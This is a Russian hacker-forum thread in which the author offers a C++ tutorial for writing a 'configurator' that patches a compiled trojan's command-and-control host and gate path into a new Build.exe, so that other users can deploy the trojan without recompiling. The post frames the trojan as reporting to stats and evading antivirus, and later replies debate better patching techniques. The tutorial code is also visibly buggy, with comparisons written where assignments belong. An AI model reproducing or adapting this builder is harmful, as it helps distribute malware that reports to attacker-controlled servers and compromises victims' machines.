ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Пишем конфигуратор[c++]
  #1  
Старый 08.07.2007, 16:14
Аватар для Ky3bMu4
Ky3bMu4
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме:
1777536

Репутация: 932


Отправить сообщение для Ky3bMu4 с помощью ICQ
По умолчанию Пишем конфигуратор[c++]

Итак, вы написали супер-троя.Трой стучит по стате,непалится антивирусами и т.д. Но вот проблема:каждому юзеру юзающему вашего троя компилить из исходников неудобно! В этой статье я расскажу вам как написать конфигуратор для вашего детища. Всё наше действо будет состоять из 2 частей:

I)Готовим тело троя
II)Сам конфигуратор

Ok, let`s go! (c)

I)
Готовим тело троя.
Компилим трой. Все параметры для отстука по стату(к примеру) должны заканчиваться и начинаться на '_'(нам это нужно будет)
Т.е.
Код:
#define host "_megasite.megahost.com_"
#define path "_/mega777/megagate.php_"
Зачем нам такие длинные имена? Почему бы просто не site.com и /gate.php ? Дело в том, что будем править уже готовый .exe`шник

и "переполнять" там что-то очень нежелательно.
К примеру:
Сделаем site.com, а у кого-нибудь юзера стата на megasite.jino-net.ru , В итоге у него ничего не будет работать.
Теперь я советую переименовать откомпиленый трой в virus.dat(к примеру),чтоб всякие ребята не запускали лишний раз наш ехе.

II)Сам конфигуратор.
Итак тело у нас в virus.dat
Далее буду просто приводить куски кода с комментами.
Объявем 3 глобальные переменные:
Код:
char host[]="site.com";
char path[]="/777/gate.php";
char body[12000];
Для конфигуратора 2 первые параметра нужно брать из Edit`а. Мне ламо приводить всю работу с VCL(тем более, что это

элементарно), поэтому рассмотрим всё на частном случае. Размер body в зависимости от размера файла. Лучше брать размер на

2-3кило больше размера файла.К примеру: вирь весит 15кб размер вы берёте 17000;
Далее:
Код:
DWORD dwBytesRead ,dw ,size , dw1;
HANDLE hFile = CreateFile("virus.dat",GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); 

//открываем наше тело
size = GetFileSize(hFile,&dw); //получаем кол-во знаков в файле
ReadFile(hFile,body,size ,&dwBytesRead, NULL); //читаем тело в наш массив
Так далее самый ответственный момент. Ищем и заменяем наши параметры.Для этого напишем отдельнуй функцию.
Код:
void param(void){
int x=0;
int y=1;
int c=0;
while(body[x]!='_'){ //вот для чего нам нужны были '_'. Ищем параметр.
x++;
}
//мы остановились на символе '-'
x++;
//Теперь мы на следующем символе. Посмотрим что это: host или path
if(body[x]=='s'){ 
//итак это хост. Далее очищаем нужное нам место
while(body[x]!='_'){
body[x]=NULL;
x++;
y++; //чтобы узнать на сколько мы отдалились от '_'
}
//мы остановились на символе '_' .Удаляем его и возвращаемся назад
body[x]==NULL;
x=x-y; 
//теперь заполняем наш параметр
while(host[c]!='_'){
body[x]=host[c];
x++;
c++;
}
}
else {
//значит это path. Действия теже самые. Только заменяем host на path
while(body[x]!='_'){
body[x]=NULL;
x++;
y++; //чтобы узнать на сколько мы отдалились от '_'
}
//мы остановились на символе '_' .Удаляем его и возвращаемся назад
body[x]==NULL;
x=x-y; 
//теперь заполняем наш параметр
while(path[c]!='_'){
body[x]=path[c];
x++;
c++;
}
}
}
Ну и концовка:
Код:
param();//параметра у нас 2
param();
HANDLE hFile1 = CreateFile("Build.exe",GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_NEW ,FILE_ATTRIBUTE_NORMAL,NULL); 
//создаём новый файл
WriteFile(hFile1,body,size,&dw1,NULL); //пишем в него
CloseHandle(hFile); //закрываем оба файла
CloseHandle(hFile1);
Ну вот, в принципе , и всё. Это всё на С++ , но при желании можно переписать на любой язык или переделать не только для параметров статы.
 
Ответить с цитированием

  #2  
Старый 08.07.2007, 16:49
Аватар для [53x]Shadow
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
По умолчанию

Идея интересная, но под стандартный трои конфигураторов имхо дофига. И зачем это в статьи, для этого есть раздел кодинг С++, т.к. кроме исходов здесь больше ничего и нет.
А так если я все правильно понял есть вопросы:
1. "_" - таких символов в исполняемом файле дох... и сочетаний с "s" тоже.
2. А если длина ссылки все-таки больше чем length(host+site)?

Последний раз редактировалось [53x]Shadow; 08.07.2007 в 16:56..
 
Ответить с цитированием

  #3  
Старый 08.07.2007, 17:08
Аватар для Ky3bMu4
Ky3bMu4
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме:
1777536

Репутация: 932


Отправить сообщение для Ky3bMu4 с помощью ICQ
По умолчанию

Цитата:
1. "_" - таких символов в исполняемом файле дох... и сочетаний с "s" тоже.
А вот и нефига.
 
Ответить с цитированием

  #4  
Старый 08.07.2007, 17:15
Аватар для [53x]Shadow
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
По умолчанию

Цитата:
Сообщение от Ky3bMu4  
А вот и нефига.
В случайно открытом exe обнаружил 127, из них сочетаний с "s" - 6!
В своем трое - 23, правда сочетаний с "s" нет, но имхо это на удачу...
По-этому лучше использовать сочетание как минимум из трех редко встречаемых символов (те маленькая сигнатура).
 
Ответить с цитированием

  #5  
Старый 08.07.2007, 17:19
Аватар для Ky3bMu4
Ky3bMu4
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме:
1777536

Репутация: 932


Отправить сообщение для Ky3bMu4 с помощью ICQ
По умолчанию

Ну если и есть такие сочитания, то они походу файла первые. Пробовал на bloodknife`е, моём лоадере, и просто проге вызывающей MessageBox - работает.
 
Ответить с цитированием

  #6  
Старый 08.07.2007, 21:34
Аватар для Ni0x
Ni0x
Постоянный
Регистрация: 27.08.2006
Сообщений: 367
Провел на форуме:
2009677

Репутация: 472
По умолчанию

еще недавно ты называл это билдером
 
Ответить с цитированием

  #7  
Старый 20.09.2007, 22:56
Аватар для GlOFF
GlOFF
Постоянный
Регистрация: 08.05.2006
Сообщений: 816
Провел на форуме:
1845671

Репутация: 1338


По умолчанию

Цитата:
Но вот проблема:каждому юзеру юзающему вашего троя компилить из исходников неудобно!
Наоборот это самое то, когда можно править сурсы, менять команды, добавлять мусор и делать индивидуальные сигны! А конфигураторы обычно пишут для того чтобы юзать\менять настройки чужих программ, т.е. когда нет под рукой исходных кодов!

Ky3bMu4 За старания +!
 
Ответить с цитированием

  #8  
Старый 20.09.2007, 23:52
Аватар для KEZ
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию

Цитата:
В своем трое - 23, правда сочетаний с "s" нет, но имхо это на удачу...
По-этому лучше использовать сочетание как минимум из трех редко встречаемых символов (те маленькая сигнатура).
КАКИЕ СОЧЕТАНИЯ???

ИМХО за такие статьи убивать надо, чтоб билдить бинарник, изменяя его по шаблону.
НЕТ СЛОВ ребята, нет слов
 
Ответить с цитированием

  #9  
Старый 20.09.2007, 23:57
Аватар для ZaCo
ZaCo
Banned
Регистрация: 20.06.2005
Сообщений: 880
Провел на форуме:
4610226

Репутация: 1332


По умолчанию

господи, а почему в конкретную позицию бинарника нельзя писать нужные значения? завел глобальную переменную - и пиши в нее спокойно.
зы нормальный парсинг ехе-файла в общем случае сравним с асм-анализом сего, что крайне не нужно для поставленной задачи. а тут очень опасная реализация: что если функция обьявленная как cdeclaration пойдет на экспорт?

Последний раз редактировалось ZaCo; 21.09.2007 в 00:00..
 
Ответить с цитированием

  #10  
Старый 21.09.2007, 09:18
Аватар для DRON-ANARCHY
DRON-ANARCHY
Отец порядка
Регистрация: 04.03.2005
Сообщений: 1,007
Провел на форуме:
1204641

Репутация: 412


Отправить сообщение для DRON-ANARCHY с помощью ICQ
По умолчанию

Блин... во умище... напишите мне кто-нибудь задачку на C++ а то я в нем не шарю, а сдать надо. горит
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Пишем простого Irc бота на Pel ENFIX PHP, PERL, MySQL, JavaScript 10 19.06.2007 21:01
(Статья) Пишем флуд для чата http://chat.scn.ru/ Paranoik Чаты 14 04.07.2006 17:32
Пишем свой BIOS для x86 компьютеров OverClocker Схемы и программы 1 06.03.2005 11:21
Пишем MailBomber на перле foreva Чужие Статьи 3 08.02.2005 07:13



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ